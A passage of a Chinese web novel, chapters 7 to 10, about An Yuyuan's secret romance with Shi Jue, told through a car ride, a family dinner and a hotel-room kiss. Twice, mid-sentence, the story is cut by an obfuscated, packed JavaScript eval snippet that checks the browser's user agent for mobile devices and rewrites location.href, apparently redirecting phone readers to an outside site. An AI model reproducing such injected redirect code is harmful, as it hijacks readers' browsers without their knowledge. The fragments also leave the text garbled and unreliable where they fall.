然后车靠边停了。 刚刚斗嘴没有注意路边的情况,等回神过来,后座的门已经开了。 车厢内的灯随之亮起,安遇圆转头和来人对上视线。 “姨姨!” “圆圆?” 7. 第 7 章 安遇圆当然没想到这会儿上车的会是萱玉姨姨,所以她对刚才以为来人会是施觉的女朋友这事,感觉到非常抱歉。 在心里说对不起了,施觉能不能听得见是她的事,毕竟这事施觉也得负很大的责任。 妈妈就妈妈,什么掌厨什么的,误导人。 “好久不见啊,”安遇圆笑着往后探探脑袋:“姨姨你看起来一点没变,怎么还这么年轻这么漂亮。” 姨姨瞬间笑颜如花:“还年轻呢,皱纹都添了不少。” 安遇圆:“怎么会,一点也看不出来。” “你也一点没变,嘴还是这么甜,”说着她也凑了上来:“让我看看你。” 安遇圆再往后靠靠。 “昨天你妈妈给我发你的照片,美得我差点没认出来,”姨姨笑着道:“长大了,漂亮了不少。” 安遇圆嘿嘿了声,就道:“姨姨你晚上不忙啊,”说到这儿,安遇圆突然哦了声:“姨姨你说的是不在家啊,那是我误会了,我以为你不在A市呢。” 姨姨干干地笑了两声:“哈哈,”干干地道:“在A市的,在A市。” 她说完,瞥见驾驶座上的人,瞥过来带笑的一眼,她心里咳了咳,问安遇圆:“你们怎么在一块啊?” “碰巧遇到。”一直不做声的驾驶座传来声音。 安遇圆听闻抿住了自己的唇,也往座位里缩,听施觉继续道:“她下午在廊桥拍摄,我正好去那办事。” 安遇圆完完全全坐好自己的位置,确定此刻是姨姨的视线盲区,她转头看了眼从容淡定的施觉。 “这么巧。”后座的姨姨跟话。 在那51天里,安遇圆数不清她们向家里撒了多少次谎。 这些谎大部分集中在第二年见面的那41天,为她们的偷偷在家撒谎,为她们的偷偷溜出门撒谎,为她们的谎圆谎。 基本都是施觉一个人干的,毕竟对比施觉,安遇圆的撒谎技能非常之差,她说不了这种需要用很多句话来描述补充场景的谎。 所以她们通常养成了这样一个习惯,在施觉撒谎时,安遇圆需要做的,就是沉默。 就如此刻。 完美的座椅靠背给安遇圆提供了不用和姨姨对视的条件,安遇圆安安静静地坐着,听施觉轻描淡写地补充她的谎言。 “饭点了,看她一个人,就问她要不要一起吃饭。”施觉说。 很成功,马上安遇圆就听姨姨说:“圆圆晚上想吃什么?我准备了红烧鱼和醉排骨,还有你喜欢的肉片汤,还要什么?” 安遇圆想了想:“姨姨我还想吃蛋炒螃蟹。” 姨姨笑:“好~有的,阿觉一会儿绕去海鲜市场,我买几只螃蟹,”她又问:“家里有鸡蛋吗?” 施觉说:“有。” 姨姨又问:“你这个挂饰呢?” 安遇圆顺着姨姨的手,看向空空如也的后视镜。 “取下来了。”施觉说。 姨姨:“挺可爱的啊,怎么取下来了,”她想起什么:“什么时候取的?早上我好像还看到呢。” 施觉说:“早就取了。” 姨姨有些疑惑:“是么?”她又道:“我记得你很喜欢的,买车第一天就挂上了。” 施觉嗯了声,没说其他的。 从体育路到海鲜市场,姨姨和安遇圆聊了很多,聊安遇圆的大学,聊安遇圆妈妈最近的生意和生活,聊安遇圆的工作日常,也聊安遇圆的恋爱。 安遇圆其实一直单身,但姨姨在问安遇圆大学谈恋爱了吗这个问题时,安遇圆不过脑子地胡乱说了个:“谈啊,”她还说:“我谈了很多个呢。” 姨姨听到这话似是很勉强地笑了笑,应了句:“这么会谈,”很快又像是发现有些不妥,又补充:“真好啊,校园恋爱最浪漫了,你这么漂亮肯定很多人追吧。” 安遇圆说:“啊。” 姨姨又说:“肯定都是帅哥吧。” 安遇圆差点没转过弯来,瞬间哑口无言。 “诶!”姨姨这时突然大声了些:“去哪啊?”她说着凑了上来,靠近施觉,挥挥手:“海鲜市场过头了。” 安遇圆顺着姨姨的手向左边看,见路边路灯下湿漉漉的,几个穿着靴子的老板忙忙碌碌。 施觉也反应过来了,在路口调了头。 没多久车停在了路边,门锁随之打开,姨姨把包放在一旁,打开车门。 又回头:“阿觉你和我一起去。” 安遇圆听着解开了安全带:“那我也去吧。” “你就别去了,”姨姨马上又说:“里头都是水,别弄脏你了。” 施觉说:“我就不怕脏了吗?” 姨姨啧了声,似是又想了想,又推开车门:“算了算了,你们车上等我吧,我自己去。” 车门砰的一声关上,安遇圆才发现施觉稳稳地坐着,双手环着,安全带也没有动过,显然就没想过下车。 那安遇圆也再系上。 系好了,喝口水吧。 睫毛有点痒,用手刷一刷。 整理一下衣服。 姨姨去好久哦。 “放点歌?” “明天回吗?” 一开口,就是两人一起说话。 安遇圆嗯了声,施觉也把歌单打开。 “明天下午一点。”安遇圆补充。 施觉问:“昨天不是说是今天回。” “我要明天回就明天回,”安遇圆有点不爽:“你干嘛这么凶。” 施觉沉默了片刻:“没凶。” 安遇圆不想说话了。 但是施觉会说:“抱歉。” 安遇圆哼了声,市场门口就来了熟悉的身影,安遇圆歪了歪下巴,咬着牙齿说了句:“我要告诉姨姨。” 施觉倒是笑了。 姨姨拎着个袋子,从那边踏小步而来,再绕过半个车头。 “又下雨了,”后座门被打开,外面的声音和温度传了进来,姨姨笑道:“还以为这个点买不到好螃蟹,没想到还能挑上几只。” 安遇圆配合:“哇真好。” 姨姨嗯了声:“还挺不错的呢,看起来肉会很肥。” “妈,”突然有个人在这时讲话:“圆圆有话和你说。” 安遇圆轻轻吸一口大气,又不敢大动声色地惊讶,只能窝起自己,瞪着眼睛看施觉。 而施觉启动车看后视镜了,甩下这句话,事不关己。 “你要和我说什么啊?”姨姨把袋子放脚边,探出脑袋看安遇圆。 安遇圆:“……” “呃,我,”安遇圆脑袋飞速转动,并在心里把施觉骂一百遍:“就是……” “她想问你平常用面膜吗?”施觉又开口了。 或许是脑子搜寻的磁铁突然找到了吸磁扣,听到这话的安遇圆瞬间接上话:“对,我昨天参加的活动送了我好多面膜,姨姨用的话我送你,还不错的牌子。” “好啊,”姨姨说:“也不用太多,我也就偶尔用用。” 面膜这事倒是真的,主办方送了很多,那么多安遇圆正愁怎么带回去,那就顺便再问一嘴吧:“姐姐你要吗?” 施觉却突然转头看了安遇圆一眼。 安遇圆警惕:“干嘛?” 施觉笑了笑,将头转回去,说:“要,谢谢。” 安遇圆对施觉拧了拧鼻子:“那我就不带回去了,都给你们。” 音乐此刻切入了第三首,旋律舒缓,让安遇圆的心情也平静了下来。 其实她平常很成熟稳重的,这二十多分钟在车上,她觉得她人设有点崩了。 所以安遇圆马上就稳重了起来,斜斜靠着车门,手撑着车窗,手指抵着下巴,看窗外的沥沥小雨。 没有要干什么,她只是觉得这样的自己肯定美爆了,嗒啦嗒啦嗒啦~ 不多时,车缓慢了下来,并开进了一个陌生小区里。 地下室自动抬杆,车慢速下坡,再转一个弯,再直线100米。 “你的房子吗?”车停进专属车位,安遇圆还是没忍住问了。 施觉:“嗯。” 安遇圆只问这一句,或许是她只想知道 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以前多厉害呢,早在那个四年前的暑假,在她们已经发生过几次关系之后,安遇圆还能笑嘻嘻地搂着施觉的手腕,猜测施觉是不是谈过很多次恋爱? 那时候施觉用安遇圆看不懂的表情看安遇圆,问:“为什么觉得我谈过很多次?” 其实安遇圆就是乱问的,即使那时候安遇圆已经大一,但她对爱情方面的知识还是非常之浅薄,在学校根本就没有她感兴趣的人,所以她也从来没有过谈恋爱的想法。 只是有好多个瞬间,施觉给她的感觉,让她很不自禁想到了她一个舍友评价另外一个舍友的话:“不愧是谈过那么多次,好会啊,好会啊。” 施觉就是好会好会,总打得安遇圆措手不及。 施觉那样问,安遇圆觉得自己猜中了,她抓着施觉的手臂更紧,欣欣然得继续追问:“真的有吗?你和别人恋爱是什么样子的啊?是你的同学吗?你喜欢比你大的还是比你小的啊?” 施觉当时听完这一串,只问一句:“你很想知道?” 安遇圆连点三下头。 施觉又看了安遇圆好一会儿,又道:“能聊?” 安遇圆坐直:“能啊当然能,你愿意的话,可以都说给我听。” “怎么,”施觉问安遇圆:“知心妹妹?” 安遇圆再点头:“嗯,我是。” 施觉很轻地吸一口气,很缓慢地眨了眨眼睛,把胳膊从安遇圆的手里抽了出来:“我不愿意,”她说完就站了起来:“拿瓶喝的,你喝什么?” 安遇圆哦了声:“茶丌。” 施觉显然不想聊,这让安遇圆想起了一年前她们的第一次见面,更让安遇圆坚定施觉她或许就是因为失恋了。 只是施觉去冰箱拿饮料,安遇圆莫名的开始不爽,这个不爽的心情像是弹簧那般瞬间飞到顶端,心跳很重就算了,心口还钝钝得疼。 而那时的安遇圆更有本事的一点是,她能非常清晰地想象施觉对别人也很好的画面。 那个脑袋瓜仗着不懂事,可劲儿地构画,还毫无头绪地去猜想施觉的分手原因会是什么,导致最后心情非常的不好。 而更可笑的是她还以为影响她心情的原因是茶丌的新品不好喝,和朋友吐槽了一万字,苦死了,千万别买! 也是那天晚上,施觉第一次拒绝安遇圆要做的请求。 哎……当初没尝过的心尖疼现在算是悟了,现在想来,安遇圆你挺大度啊。 如今的安遇圆没本事在于,她既不会和姨姨展开话题,甚至连姨姨打开鞋柜的这个动作,也感觉到十分惶恐。 啊啊啊她不要看到有第三个女人的鞋!哦没有。 “你穿我这双吧,”姨姨也发现了拖鞋困境,她把白色的那双踢到安遇圆那边,问施觉:“家里有一次性拖鞋吗?” 施觉说了个有,就把自己的拖鞋放在了安遇圆脚边:“穿我的吧。” 安遇圆说好,选择了姐姐的那双。 8. 第 8 章 安遇圆刚换好拖鞋,屋子里的白色大灯就全被打开了,瞬间,视线亮堂了起来。 姨姨很喜欢家里亮亮的,只要她待的地方,一定是所有物品都清晰可见,如果这会儿是白天,窗帘也要大开。 但施觉不一样,施觉很喜欢昏暗的场景,喜欢看起来雾蒙蒙的黄棕色氛围,连带着安遇圆也有这样的审美。 “来,进来客厅坐,”明晃晃的灯光下,姨姨招呼了起来:“桌上有零食,饿了就吃点,我去厨房做饭了哈,不早了,得赶紧的了,”她说着再拍拍施觉的肩膀:“你去洗点水果给圆圆。” 姨姨挥挥手,再急匆匆地离开去厨房,这让安遇圆想到了她第一次来A市。 就是那个四年前,在一个姨姨的茶叶店遇到困难,安遇圆妈妈正好有A市茶叶行业的相关朋友,得知此事便过来帮忙的大背景下,正值安遇圆的暑假,她黏着妈妈也一起过来了。 那天是下午的飞机,她们晚上七点多点才到机场。 这样的时间点,是该有飞机餐的,只是妈妈告诉安遇圆,姨姨做饭特别好吃,导致这对母女放弃了飞机餐,饿着肚子来到A市。 那天的姨姨比今天还急,和施觉一起在机场接到两位后,得知她们还没有吃饭,急忙忙地在门口随便招呼两声,就去厨房了,哐哐当当。 那天安遇圆吃了这辈子最好吃的一顿,香得她晚上拉着施觉不停地说,这个好好吃,那个也好好吃,怎么都这么好吃,你有这样的妈妈好幸福。 哦当然没有说自己不幸福的意思,安遇圆的妈妈也很好! 嗯……互联网待久了不好意思。 那个暑假在A市,妈妈和姨姨每天都很忙,不过能明显看得出来,两人的的愁云随着日子逐渐展开,困难消失,步入正轨,蒸蒸日上。 最后妈妈还有闲工夫给施觉介绍一个很好的实习工作,功成身退地离开A市。 不过高兴地离开A市的,只有妈妈一个。 安遇圆是哭着回去的,还怕被妈妈发现,戴着眼罩哭,好在她是装睡,妈妈却是真睡,没有发现安遇圆的一丝不对劲。 酣畅淋漓地回忆完,安遇圆在吃草莓了。 电视机被打开,放着无聊的电视,油烟机的声音呼呼地从厨房传来,姨姨正在大火爆炒,而施觉坐在安遇圆身边。 “草莓有点酸。”小坐了一会儿,施觉突然开口。 安遇圆放空的思绪被抓回地球,她低头看了眼自己手上的大草莓,又咬了一口确定:“酸吗?我的挺甜的。” 施觉说:“我这个酸。” 安遇圆把手上的最后一点放进嘴里,再挑个红的:“我吃吃这个。” 没想到这次运气不好,安遇圆只咬了个尖尖,就酸得脸都皱了起来:“啊!好酸!” 这或许有点好笑,施觉笑了。 安遇圆抿抿唇,再舔舔嘴唇上的酸,思考片刻,实在是不想再继续吃了。 但是这么大的草莓,扔掉太可惜了。 “给我吧。” 好像有读心术,正当安遇圆不知道该怎么处置,施觉伸手过来了。 安遇圆抬眸看施觉,而施觉若无其事地继续吃草莓看电视。 其实施觉不是第一次处理安遇圆不想吃的东西,可安遇圆还是纠结了半晌,最后见施觉无声又坚持地一直举着手,才决定将草莓放在施觉的手里。 安遇圆吃水果只吃甜的,但施觉很能吃酸,通常就像此刻,吃得面不改色。 安遇圆就这么看着施觉唇覆上她的牙印,咬下更大一口。 好嘛,又想接吻了。 “明天具体是一点多少的飞机?”施觉把嘴里的草莓咽下,问。 安遇圆眨了眨眼,将视线收回,她下意识想再拿一个,但又怕又拿到酸的,把手缩了回来。 “怎么,想送我?”安遇圆问。 施觉:“嗯。” 安遇圆意料之外:“嗯?” “这么大老远过来,该送送你,”施觉不怕酸地拿起一颗草莓:“你姨姨也会让我送的。” 安遇圆不爽:“这么好啊,太好客了吧,多不好意思啊。” 施觉:“还行,不算太好客,你来的时候没去接。” 安遇圆歪歪嘴,正想说点什么,施觉把手上的草莓递了过来:“甜的。” 安遇圆低头看,草莓的尾巴被咬掉了一小块。 “你咬过了。”安遇圆说。 施觉二话不说把手收了回去。 但被安遇圆截住了。 她抓着施觉的手腕,直接低头就着施觉的手将草莓咬进嘴里。 水水的,确实很甜。 嘴也碰到施觉手心了。 “阿觉,”厨房那边突然传来声音:“过来盛汤。” 施觉抽了张纸:“来了。” 说罢她站了起来,并对安遇圆说:“不要告诉她。” 她又抬起手,轻轻勾了一下安遇圆的下巴。 安遇圆嘴里的草莓还很甜,她分辨不清施觉说的不要告诉,是不要告诉什么,是她们互相吃了对方吃过的草莓,还是施觉玩弄了安遇圆的下巴,又或是明天要送她走。 安遇圆轻轻吸一口大气,瘪着嘴,又缓缓吐出来。 桌上的草莓还有一大盘,但是安遇圆不想赌,施觉没有尝过,她是不会再吃一个的。 姨姨有一个人煮三个锅的本事,电视剧才不到一集,香喷喷的饭菜就已经上桌了。 吃饭的过程,姨姨给安遇圆妈妈打了视频电话,电话接起,妈妈看见她们三个在一块很是惊讶,只是聊着笑着,又说到安遇圆今天穿吊带裙的事了。 这下好了,不仅是妈妈,姨姨也加入战场批评安遇圆,这两天A市多冷啊,怎么能穿吊带呢。 安遇圆自知理亏,只能把头埋得低低的,并向施觉发出微弱的求助视线。 果然微弱,不发还好,这一发,施觉竟然说:“最近又有新的流感。” 好了吧,妈妈和姨姨更来劲了,妈妈更是说起安遇圆上次流感还在外面拍广告的事,回家发烧了也不说,半夜晕倒在客厅好大一声,吓得妈妈魂差点要飞了。 安遇圆没话可说了,她低头吃螃蟹,并狠狠地踢了施觉一脚。 “嗤……” 空气里突然传来很低的笑声,姨姨正和妈妈分享她上次生病呢,被这声打扰,停了下来。 “你笑什么?”姨姨问。 安遇圆事不关己地把头埋得更低了。 “我笑了吗?”施觉回应。 语气很平淡很疑惑,真不像有那么回事的样子,要不是这个人在桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485082|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下按住了安遇圆的小指,安遇圆都要信了。 “我上次流感就在上个月。”姨姨继续她的话。 安遇圆的手是压在自己椅子上的,施觉的手自己椅子不放,也过来挤着,仗着自己手长手指长,肆无忌惮。 “那天头给我痛得,吃了阿觉买的药之后直接昏睡过去。”姨姨扶额回忆那天。 桌上的施觉正在冷脸吃排骨,桌下的施觉却不安分。 安遇圆的小指微微拱起,这个弧度正好让施觉趁虚而入。 她挤进来,她挑起,她轻轻滑过,和安遇圆指腹碰指腹。 “吃了药是容易睡着,身体也差,圆圆那天也睡了好久。”视频那头说。 安遇圆啃螃蟹的动作变慢。 “才不到八点,睡到第二天七点。”妈妈继续说。 安遇圆神经麻麻的,手不敢动弹。 “汤喝完了啊,”姨姨突然观察到这些,把碗端起:“等等哈嘉宁,我去盛点汤。” 姨姨站起的同时,施觉的手也收了回去,安遇圆的小指随着重力拍打在皮质椅子上,或许不会有人听到,这轻轻的一声“咚”。 施觉不是第一次干这种事了,这个人总是不动声色的胆子很大,以前还敢在妈妈和姨姨正在做饭的厨房外,隔着一道墙亲安遇圆。 “圆圆。”视频里的妈妈突然喊了声。 安遇圆的心也被抽了一下。 不过她承认,她很爱。 “啊?”安遇圆本能地应,再抬起头看向手机:“啊?” 妈妈问:“我记得你是晚上的飞机吧,几点啊,看着点时间。” 安遇圆:“不是啊,是明天的飞机。” 她是想说点小谎的,但妈妈下一句问:“改签了?” 安遇圆很心虚,索性算了:“嗯。” 妈妈问:“怎么好好的改签了。” 这时姨姨从厨房出来,安遇圆把声音放大些:“好久不见姨姨和姐姐了嘛,想见见。” 姨姨也听到了这些话了:“你是改签来见我们的啊。” 安遇圆又心虚了,但好在施觉这时站她这边了。 施觉说:“是的呢,妈妈。” “安排了和姐姐姨姨见面,就空手上门啊?”手机里妈妈问。 这句也不用安遇圆回答,姨姨哎呀了一声就凑到手机前了:“说什么呢,和我这么见外,我们又不是外人,什么空手不空手的。” 安遇圆在姨姨身后露出一个委委屈屈的表情。 姨姨当然看到了,她往后靠一点:“没事的,不听你妈妈的,都是一家人,买了我还要批评你呢。” 而口口声声说一家人的姨姨,吃完饭后,自己要离开,却要先把安遇圆安排走。 先问了圆圆你住哪儿啊?再说哎呀这不顺路嘛。 “我们一起走吧,”姨姨笑盈盈地挽住安遇圆的手臂:“阿觉你先把圆圆送回酒店,再送我回去。” 安遇圆说好,施觉也说好。 没人敢说不好。 其实安遇圆有点摸不准这个姨姨,虽然她现在和施觉清清白白没干什么,什么也不是,但不影响她想不明白姨姨是什么态度。 毕竟那年安遇圆能提前被安排回家,很大的一个原因,是被姨姨撞到,她和施觉在家里接吻。 9. 第 9 章 电梯逐渐往下,安遇圆能感受到姨姨对安遇圆有千般的不舍。 当然,安遇圆也明白,这不舍的深层原因,是安遇圆的妈妈,她俩别太爱。 但值得吐槽的是,两位说是发小,可如今以她俩这样关系,正确说法应该叫网友。 网友在于每天都联系,经常约着一起去这儿,一起去那儿,总在手机里说“走啊”,“安排!”“想去!”,实则四年了,面都没见。 不过安遇圆也是最近才知道妈妈和姨姨一直都有联系,而且还挺频繁。她以为她们当时分开后,天南地北的,大人们也感情淡了。 “等你妈妈有空了,你们就过来玩,”出了电梯,姨姨又回到了一开始的话题:“她不是总吵着要吃巷子口的酥饼,现在生意不好,再不来人家要关门了。” 安遇圆笑着说:“她哪里就那么喜欢吃酥饼了,她只是想姨姨。” 突然的这一下,姨姨哎哟一声,老脸一红:“想我就来见我啊,”她说着又嘀咕了句:“说买了给她寄她也不要。” 安遇圆:“那你跟她说嘛,她来我肯定会来的。” 姨姨抱怨:“我说啊,我当然有说,我一说她就让我去找她。” 安遇圆哈哈笑起来,是妈妈的风格没错了:“那姨姨你来S市玩嘛,和姐姐一起。” 姨姨顺着话转头问施觉:“你去吗?” 施觉说:“去。” 姨姨扬眉:“上次叫你去你怎么不去?” 听闻这话,安遇圆也转头看施觉。 施觉却一脸的这事新鲜:“什么时候?” 姨姨说:“忘了,反正问过。” 话题囫囵吞枣地结束,从电梯间出来,三位队形不知不觉地变换,姨姨挽着施觉的手在前,安遇圆在后。 施觉的车就在电梯口旁,姨姨放开施觉的手之后,很自然地走到车前方,拉开了副驾驶的门。 或许姨姨平常都坐的施觉的副驾,安遇圆只小顿了一下,没想太多,就拉开后座门。 刚进去,施觉的视线就过来了,接着她又看了眼正在系安全带的姨姨。 “外面不知道还有没有下雨啊,”姨姨的安全带发出清脆的响声:“圆圆带伞了吗?” 安遇圆说:“没有。” 姨姨:“那一会儿到酒店了我送你进去吧。” “不用啦,”安遇圆说:“可以直接停在大门口,没有雨的。” 姨姨点头:“好,”又说:“这两天下雨你还穿这么少,刚才没给你泡点姜茶喝喝。” 安遇圆:“我没事的,我身体很健康。” “身体健康当然好,”姨姨道:“你妈妈说你总感冒,你自己也要好好注意身体。” 安遇圆:“知道啦。” 聊完这些,姨姨的手机突然响了,她接起电话,安遇圆也好好地往后坐。 她坐的是正对副驾后的位置,斜斜望去,正好能将施觉的侧后方全数看进眼里。 施觉今天也很漂亮。 施觉一直都很漂亮,她的气质在安遇圆认识的这么多人里,是独一份。 这么些年,偶尔的安遇圆能遇到和施觉有那么点点点像的,或是头发一样长,或是穿衬衫的,或者是相似风格的裙子,或是手长,安遇圆总能多看两眼,并想到施觉。 施觉比安遇圆大三岁,要具体来算的话,应该是两年零八个月。 两个人的出身年份,月份,星座,四象性,安遇圆其实不信的,但她全查过算过。 挺好笑的,她们全盘不配,还命里带克。 狗屁。 车里此刻全是姨姨和她朋友小声说笑的声音,施觉没开音乐,安遇圆也没玩手机。 只观察,只感受。 施觉也是个很安静的人,除非空间里只有安遇圆和施觉两个,一旦多出别人,不管是亲近的妈妈,还是施觉的朋友,施觉都会变得很安静,话很少。 第一次听施觉的朋友说,施觉这个人总给人一种不好接近的感觉时,安遇圆是很惊讶的,她不明白施觉和不好接近这个词有什么关系。 不过现在有点懂了,这几天在公司,四年未见的施觉,就给了安遇圆不好接近。 安遇圆当然不服,安遇圆一直享受的是施觉独特的一面,即使已经这么久没见,时间该将她们冲淡为陌生人,安遇圆就是不相信。 不想,不要,所以刁难。 但安遇圆不知道自己有没有成功,她看不懂。 施觉很多时候都像是有心事,看安遇圆像是要看穿她,不知道到底要看什么。 “那你们把定位发给我,我正好在我女儿车上,”姨姨的电话逐渐到了尾声:“我过去拿一趟……诶好……不会,这有什么麻烦的。” 挂断电话,姨姨对施觉说:“我给你发个定位,我一会儿去那儿拿个东西。” 话音落,挂在中控上的手机闪了一下,屏幕的顶端弹出“你收到一条微信”的消息。 施觉伸手点开,手机跳转微信打开了聊天框,安遇圆看到备注“大人”。 施觉给姨姨的备注一直是这个,安遇圆当时觉得有趣,学着施觉也叫她妈妈“大人”,不过没多久就改回来了,安遇圆的妈妈现在是“孙大美女”。 不重要。 施觉的手机屏幕已经跳到导航了,安遇圆见姨姨正低头聊着天,前方又正好是红灯。 不及多思考,她迅速拿起自己的手机,给施觉发了个表情包。 讯息传播的速度肉眼不可见,几乎是同时,施觉的手机上方又弹出了新的“你收到一条消息”。 红灯停下,安遇圆捏着手机看施觉将消息点开,看手机屏幕跳转微信。 聊天界面瞬间闪了出来,安遇圆第一眼看到顶端的备注写的“软糯小芋圆”,第二眼被屏幕上绿油油的巨大长方形聊天框吸引。 不过很快,这个界面就消失了,施觉关掉了屏幕。 同时她转头看了眼安遇圆。 安遇圆讷讷地对上施觉的视线,她没空分析此刻施觉是什么表情,她好像本能地对施觉露出了一个很客气的微笑,但好像也没有。 她刚刚看到了什么? 小,作文? 是小作文吗!!!? 只是很可惜,绿油油框里的字,安遇圆一个都没看到,此刻脑子里最后的印象,只有框外那颗鲜红的红色感叹号。 红灯很短,绿灯亮了,车缓慢启动,安遇圆心跳很快。 所以四年前她删了施觉之后,施觉给她写了那么长的小作文? 安遇圆很乱,她胡思乱想却又不知道在想什么,然后她到了。 “慢点哈圆圆,”姨姨往后座望了望:“明天坐飞机呢,晚上早点休息。” 安遇圆:“好呀姨姨,晚上的饭菜巨无敌好吃。” 姨姨笑:“你喜欢就好,”她又说:“下次和妈妈一起来吃。” “好呀,”安遇圆笑着打开门:“你们也早点睡,我下车了。” 像平常坐了亲戚车那样,安遇圆下车就往酒店里走。 像平常送亲戚那样,安遇圆一下车,施觉就开走了。 倒是施萱玉,透过窗户,多看了安遇圆几眼。 “圆圆现在好漂亮。”车开出酒店门口,妈妈感叹了句。 施觉说:“一直很漂亮。” 她笑了笑点头:“是一直漂亮,前几年看着稚嫩嘛,现在张开了,”她想了想又说:“都漂亮,不一样的漂亮。” 施觉把车上的歌打开,说:“圆圆心思简单,你不要骗她。” 轻飘飘的这一句,妈妈转头看施觉。 施觉又问:“你什么时候问我去不去s市了?” 妈妈说:“她们母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485083|201964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女刚离开的时候我问过,你可能忘了。” 施觉大概确实不记得,她没有回话。 妈妈又说:“现在问你,你去吗?” 施觉说:“我现在很忙。” 妈妈又转头看了施觉一眼,不过很快她收回视线,说道:“我不是故意问她有没有谈恋爱的。” 施觉没什么语气:“是吗。” 这个“是的”,妈妈没能应上,她只是说:“圆圆很像她妈妈,做事很认真,”妈妈说着就点开了手机,从关注栏里打开了安遇圆的最新视频:“她这个账号做得真好。” 施觉问:“你关注她了?” “早就关注了,每条视频都点赞收藏呢,”她滑了几下手机,问施觉:“你关注了吗?” 施觉问:“她叫什么?” “是英文,”妈妈咔的一下将手机收起来,抬起头,突然语气感叹:“真好,都很好,人都往前走,向前看,”她停顿片刻,又道:“没想到圆圆这么会谈恋爱。” 施觉没有接话。 妈妈又问:“你呢,这几年有没有背着我偷偷谈恋爱?” 施觉很轻地笑了一下:“你是想听我说谈了,还是没谈?” “算了,”妈妈摇摇头看向车窗外,静默了一会儿,又道:“我今晚好像话有点多。” * 安遇圆回酒店就把澡洗了。 这个习惯她已经保持很久了,如果不刻意去提的话,她几乎要忘了这也是从施觉那学来的。 从前的安遇圆哪有这么勤快,回家总拖拉到手头的事玩尽兴了才肯清理自己。 施觉其实也没多干什么,只是说了句,回家就把自己弄得干干净净的,接下来干什么都很轻松惬意。 安遇圆就学了,就做了,就延续了下来。 洗完澡,她美美地给自己开一瓶橙汁,在落地窗边坐下了。 朋友圈刷到了郑秋雨,这会儿她正和自己的朋友们在ktv里欢唱,看起来很快乐。 如果没有改签的话,现在去机场也来得及。 这么亮的城市灯光,天上还能见到两颗星星。 橙汁怎么也有点酸,以后还是不要盲买不熟悉牌子的饮料。 门铃响了。 正呆滞的安遇圆被吓了一跳,她转头往门的方向看。 这么看当然看不出什么来,而她看了这么久,门铃没有再响过。 很熟悉的场景,安遇眼开始有小猜测,但又觉得不可能。 可不可能,她已经在门口了。 又静悄悄地站了半分钟,安遇圆才问:“谁?” 跟着她的询问,是几秒后的一声:“我。” 这次安遇圆注意到自己的心跳了,它此刻在狂乱地在胸腔里拍打。 明明片刻前才分别,这一声却让安遇圆非常的想念。 克制不住,她将手放在门把上,打开。 视线随着门缝打开,安遇眼看见了施觉。 走廊正是施觉喜欢的那种昏暗小灯,虽然是第二次在这样的场景下见面,但安遇圆总感觉施觉有哪里不一样。 “怎么了?”安遇圆不由的轻声问。 施觉没回话,只是往前迈了一步。 安遇圆便后退一步。 施觉再往里走,安遇圆就再退。 退到安遇圆松开门把手,退到施觉完全进来,退到门自动关上。 玄关没有开灯,显得施觉的眼睛更深了,房间映过来的光,让安遇圆的一半影子都在施觉身上。 “怎么了?”安遇圆又小声问了句。 施觉再次的没有回话,她只是又近了一步。 这次安遇圆没有后退,她的视线范围变得狭窄,施觉的气息变得突然。 凑近的施觉低下了头,她抬起手捧住安遇圆的脸,轻轻抬起。 吻下来。 10. 第 10 章 大一和妈妈去A市,是安遇圆第一次去南方。 和北方的夏天很不一样,下了飞机安遇圆就感受到了好湿热的空气,活脱脱的像在桑拿房,黏哒哒的。 不过没关系,她看到施觉了。 就在接机口的透明栏杆外,和姨姨站在一起,她穿着浅褐色的宽吊带连衣裙,长长的头发,一双小白鞋,好漂亮好漂亮。 “漂亮姐姐!”安遇圆也是这么喊施觉的。 喊完她拉着她的行李箱快快穿越人群,飞快地跑到施觉面前,她先笑着快速说:“姨姨好久不见,”再伸开双手:“叫叫姐姐好久不见!” 隔着栏杆,施觉先因为安遇圆说的“叫叫姐姐”敲了敲安遇圆的额头,而后和安遇圆抱个满怀。 这一抱,安遇圆一年前那个十天的感觉瞬间回温,她想起施觉会把第一口冰淇淋点在安遇圆的鼻尖上,她想起施觉会在美食街解决所有安遇圆因为一时兴起买了却吃不下的食物,她想起施觉会在看电影时给安遇圆多带一件薄外套,她想起密室里遇到鬼施觉一把将她抱进怀里。 她发现她好想念施觉。 因此多抱了一会儿。 姨姨是个很浪漫的人,从人群里出来,她们才发现姨姨带了两束花。 很漂亮的吸色百合,一人一束。 从机场到停车场,姨姨和妈妈在前头,施觉和安遇圆在后头,叽叽喳喳地聊了一路。 姨姨和妈妈是你一句我一句,不过安遇圆和施觉这边,主要是安遇圆在说话,施觉搭点,虽然她已经忘了当时都说了什么,但是那个兴奋劲和没停下的嘴,她印象很深很深。 上了车,施觉第一件事,就是开一瓶水给安遇圆。 “你怎么知道我渴。”安遇圆说完咕噜咕噜喝好大几口。 等喝完水,安遇圆摸摸自己的脸颊:“我脸上有什么吗?” 施觉笑着摇头:“没有。” 施觉不怎么笑的,她不像安遇圆,安遇圆平常说话都带着点笑意。 所以一般时候,施觉笑起来就特别明显,很惹人注意。 安遇圆总能注意到,因为施觉笑起来也特别好看。 “嘿嘿。”安遇圆看了眼施觉手里的水:“你也喝。” 施觉很听话,安遇圆说喝她就喝。 厉害还是妈妈和姨姨厉害,上车的安遇圆已经消停了,前头还在聊。 